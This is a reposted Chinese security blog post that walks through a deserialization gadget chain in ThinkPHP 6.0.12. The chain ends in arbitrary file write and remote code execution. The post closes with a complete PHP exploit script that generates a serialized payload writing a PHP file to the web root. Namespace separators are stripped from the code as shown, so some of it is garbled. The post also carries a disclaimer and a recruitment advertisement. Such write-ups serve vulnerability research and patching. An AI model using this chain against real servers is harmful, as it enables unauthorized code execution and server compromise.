ThinkPHP6.0.12反序列化RCE挖掘

admin 2025年1月13日20:07:18评论6 views字数 2593阅读8分38秒阅读模式

前言

前人种树,后人乘凉

根据@Morouu师傅的eval反序列化利用链继续挖掘

测试版本:Thinkphp6.0.12

0x01

环境配置(tp6只支持用composer安装)composer create-project topthink/think=6.0.12 tp612添加反序列化入口ThinkPHP6.0.12反序列化RCE挖掘

0x02 挖掘过程

@Morouu师傅的链子调用到了任意类的__call方法,并且可以传入一个可控的参数,我们继续搜索__call函数看看还有没有其他利用点,定位到了Output类中的__call方法ThinkPHP6.0.12反序列化RCE挖掘

满足$method$this->style中即可调用到自身的block()函数,跟进查看ThinkPHP6.0.12反序列化RCE挖掘

调用了$this->writelen()并且$message参数可控,接着又调用了$this->write()函数($message参数可控),继续跟进。ThinkPHP6.0.12反序列化RCE挖掘

这里调用到了任意类的write()方法,全局搜索write()方法选择了LeagueFlysystemFile类中的write()方法,ThinkPHP6.0.12反序列化RCE挖掘

这里同样可以调用到任意类的write()方法,并且可控参数变成了两个($content就是我们传入的$message),继续搜索write()方法,并且传入参数小于等于两个。这里选择了thinksessiondriverFile类中的write()方法,ThinkPHP6.0.12反序列化RCE挖掘

传入参数恰好是两个,绕过if条件,不压缩传入的payload,进入$this->writeFile()方法,并且两个参数全部可控,跟进查看,ThinkPHP6.0.12反序列化RCE挖掘直接执行了file_put_contents()任意文件写入,成功RCE

exp构造

接下来构造exp,利用@Morouu师傅的链子进行修改。前面的链子不用动,从调用__call方法的链子进行修改,首先调用thinkconsole__call方法,$this->style赋值['getDomainBind']block方法,

ThinkPHP6.0.12反序列化RCE挖掘ThinkPHP6.0.12反序列化RCE挖掘

跟进write()方法,这里调用LeagueFlysystemFile类的write方法 ,将$this->handle赋值new LeagueFlysystemFileThinkPHP6.0.12反序列化RCE挖掘

这里调用thinksessiondriverFilewrite()方法,将$this->filesystem赋值new thinksessiondriverFileThinkPHP6.0.12反序列化RCE挖掘

跟进$this->getFileName()函数,看看如何给$filename赋值,ThinkPHP6.0.12反序列化RCE挖掘

$this->config['prefix']为空,进入if条件,只拼接sess_前缀,$this->config['path']也为空,写入根目录,然后return $filename,继续往下看ThinkPHP6.0.12反序列化RCE挖掘

$this->config['data_compress']False不进入if条件进行数据压缩,跟进$this->writeFile($filename, $data);便直接写入。ThinkPHP6.0.12反序列化RCE挖掘

构造完整exp

<?php  namespace thinkmodelconcern{  
trait Attribute{
private $data = ['huahua'];
} } namespace thinkviewdriver{
class Php{} }namespace thinksessiondriver{
class File{

}}namespace LeagueFlysystem{
class File{
protected $path;
protected $filesystem;
public function __construct($File){
$this->path='huahua.php';
$this->filesystem=$File;
}
}}namespace thinkconsole{
use LeagueFlysystemFile;
class Output{
protected $styles=[];
private $handle;
public function __construct($File){
$this->styles[]='getDomainBind';
$this->handle=new File($File);
}
}} namespace think{
abstract class Model{
use modelconcernAttribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd,$File){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new routeUrl(new Middleware,new consoleOutput($File),$cmd);
}
}
class Middleware{
public $request = 2333;
} } namespace thinkmodel{
use thinkModel;
class Pivot extends Model{} } namespace thinkroute{
class Url
{
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app,$route,$cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
} } namespace{

echo urlencode(serialize(new thinkModelPivot('<?php phpinfo(); exit(); ?>',new thinksessiondriverFile))); }

成功写入

ThinkPHP6.0.12反序列化RCE挖掘

源:先知(https://xz.aliyun.com/t/11382)

注:如有侵权请联系删除

ThinkPHP6.0.12反序列化RCE挖掘

船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!

ThinkPHP6.0.12反序列化RCE挖掘

欢迎大家加群一起讨论学习和交流

ThinkPHP6.0.12反序列化RCE挖掘

快乐要懂得分享,

才能加倍的快乐。

原文始发于微信公众号(衡阳信安):ThinkPHP6.0.12反序列化RCE挖掘

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月13日20:07:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP6.0.12反序列化RCE挖掘https://cn-sec.com/archives/1086625.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息